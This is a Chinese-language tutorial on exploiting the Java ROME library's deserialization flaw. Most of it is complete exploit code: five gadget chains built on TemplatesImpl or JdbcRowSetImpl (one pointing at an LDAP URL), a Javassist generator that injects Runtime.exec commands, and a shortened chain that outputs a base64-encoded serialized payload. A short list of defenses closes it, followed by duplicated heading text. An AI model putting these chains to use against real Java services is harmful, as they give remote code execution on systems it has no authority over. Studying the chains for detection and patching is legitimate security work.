Java反序列化之ROME反序列化
字数 611 2025-08-20 18:17:07

Java反序列化之ROME反序列化漏洞分析与利用

1. ROME库概述

ROME是一个用于处理和操作XML格式数据的Java工具库,主要功能包括:

  • 将XML数据转换为Java对象
  • 将Java对象转换为XML数据
  • 提供ToStringBean类,用于对Java Bean进行深入的toString操作

2. 环境依赖

<dependencies>
    <dependency>
        <groupId>rome</groupId>
        <artifactId>rome</artifactId>
        <version>1.0</version>
    </dependency>
</dependencies>

3. 关键类分析

3.1 ToStringBean类

ToStringBean类是ROME反序列化漏洞的核心,其toString方法会反射调用对象的getter方法:

private String toString(String prefix) {
    StringBuffer sb = new StringBuffer(128);
    try {
        // 获取getter方法
        PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
        if (pds != null) {
            for(int i = 0; i < pds.length; ++i) {
                String pName = pds[i].getName();
                Method pReadMethod = pds[i].getReadMethod();
                if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
                    // 执行getter方法
                    Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
                    this.printProperty(sb, prefix + "." + pName, value);
                }
            }
        }
    } ...
}

3.2 利用方式

通过ToStringBean的toString方法可以调用TemplatesImpl的getOutputProperties方法,触发恶意代码执行:

ToStringBean toStringBean = new ToStringBean(Templates.class, templates);

4. 漏洞利用链

4.1 EqualsBean利用链

public class RomeEqualsBean {
    public static void main(String[] args) throws Exception {
        // 创建恶意TemplatesImpl对象
        byte[] code = Files.readAllBytes(Paths.get("Demo.class"));
        byte[][] codes = {code};
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name","Ic4F1ame");
        setValue(templates, "_tfactory", new TransformerFactoryImpl());
        setValue(templates,"_bytecodes",codes);

        // 构造ToStringBean
        ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

        // 使用HashMap触发
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean,"123");

        // 修改_obj为恶意对象
        Field field = toStringBean.getClass().getDeclaredField("_obj");
        field.setAccessible(true);
        field.set(toStringBean,templates);
    }
}

4.2 ObjectBean利用链

public class RomeObjectBean {
    public static void main(String[] args) throws Exception {
        // 创建恶意TemplatesImpl对象
        byte[] code = Files.readAllBytes(Paths.get("Demo.class"));
        byte[][] codes = {code};
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name","Ic4F1ame");
        setValue(templates, "_tfactory", new TransformerFactoryImpl());
        setValue(templates,"_bytecodes",codes);

        // 构造ToStringBean
        ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
        ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);

        // 使用HashMap触发
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(objectBean,"123");

        // 修改_obj为恶意对象
        Field field = toStringBean.getClass().getDeclaredField("_obj");
        field.setAccessible(true);
        field.set(toStringBean,templates);
    }
}

4.3 HashTable利用链

public class RomeHashTable {
    public static void main(String[] args) throws Exception {
        // 创建恶意TemplatesImpl对象
        byte[] code = Files.readAllBytes(Paths.get("Demo.class"));
        byte[][] codes = {code};
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name","Ic4F1ame");
        setValue(templates, "_tfactory", new TransformerFactoryImpl());
        setValue(templates,"_bytecodes",codes);

        // 构造ToStringBean
        ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
        ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);

        // 使用HashTable触发
        Hashtable hashtable = new Hashtable();
        hashtable.put(objectBean,"123");

        // 修改_obj为恶意对象
        Field field = toStringBean.getClass().getDeclaredField("_obj");
        field.setAccessible(true);
        field.set(toStringBean,templates);
    }
}

4.4 BadAttributeValueExpException利用链

public class RomeBdAttribute {
    public static void main(String[] args) throws Exception {
        // 创建恶意TemplatesImpl对象
        byte[] code = Files.readAllBytes(Paths.get("Demo.class"));
        byte[][] codes = {code};
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name","Ic4F1ame");
        setValue(templates, "_tfactory", new TransformerFactoryImpl());
        setValue(templates,"_bytecodes",codes);

        // 构造ToStringBean
        ToStringBean toStringBean = new ToStringBean(Templates.class,templates);

        // 使用BadAttributeValueExpException触发
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Class Bv = Class.forName("javax.management.BadAttributeValueExpException");
        Field val = Bv.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,toStringBean);
    }
}

4.5 JdbcRowSetImpl利用链(出网利用)

public class RomeJdbc {
    public static void main(String[] args) throws Exception {
        // 创建JdbcRowSetImpl对象
        JdbcRowSetImpl jdbcRowset = new JdbcRowSetImpl();
        String url = "ldap://127.0.0.1:8085/zARQtFym";
        jdbcRowset.setDataSourceName(url);

        // 构造ToStringBean
        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,new ConstantTransformer(1));
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

        // 使用HashMap触发
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean,"123");

        // 修改_obj为恶意对象
        Field field = toStringBean.getClass().getDeclaredField("_obj");
        field.setAccessible(true);
        field.set(toStringBean,jdbcRowset);
    }
}

5. 缩短Payload技术

5.1 使用Javassist生成恶意类

public class GetShellCode {
    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("A");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = CtNewConstructor.make(
                "public A(){Runtime.getRuntime().exec(\"" + cmd + "\");}", 
                ctClass
            );
            ctClass.addConstructor(constructor);
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }
}

5.2 优化后的利用链

public class RomeEqualsShorter {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();
        setValue(templatesimpl,"_name","a");
        setValue(templatesimpl,"_bytecodes",new byte[][] {genPayload("calc")});

        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean, "1");

        // 序列化输出
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashMap);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(barr.toByteArray())));
    }

    public static byte[] genPayload(String cmd) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
        clazz.addConstructor(constructor);
        return clazz.toBytecode();
    }
}

6. 防御措施

  1. 升级ROME库到最新版本
  2. 对反序列化操作进行白名单控制
  3. 使用安全管理器限制危险操作
  4. 对输入数据进行严格校验

7. 参考链接

  1. ROME反序列化漏洞分析
  2. ROME反序列化利用链详解
  3. ROME反序列化漏洞利用
Java反序列化之ROME反序列化漏洞分析与利用 1. ROME库概述 ROME是一个用于处理和操作XML格式数据的Java工具库,主要功能包括: 将XML数据转换为Java对象 将Java对象转换为XML数据 提供ToStringBean类,用于对Java Bean进行深入的toString操作 2. 环境依赖 3. 关键类分析 3.1 ToStringBean类 ToStringBean类是ROME反序列化漏洞的核心,其toString方法会反射调用对象的getter方法: 3.2 利用方式 通过ToStringBean的toString方法可以调用TemplatesImpl的getOutputProperties方法,触发恶意代码执行: 4. 漏洞利用链 4.1 EqualsBean利用链 4.2 ObjectBean利用链 4.3 HashTable利用链 4.4 BadAttributeValueExpException利用链 4.5 JdbcRowSetImpl利用链(出网利用) 5. 缩短Payload技术 5.1 使用Javassist生成恶意类 5.2 优化后的利用链 6. 防御措施 升级ROME库到最新版本 对反序列化操作进行白名单控制 使用安全管理器限制危险操作 对输入数据进行严格校验 7. 参考链接 ROME反序列化漏洞分析 ROME反序列化利用链详解 ROME反序列化漏洞利用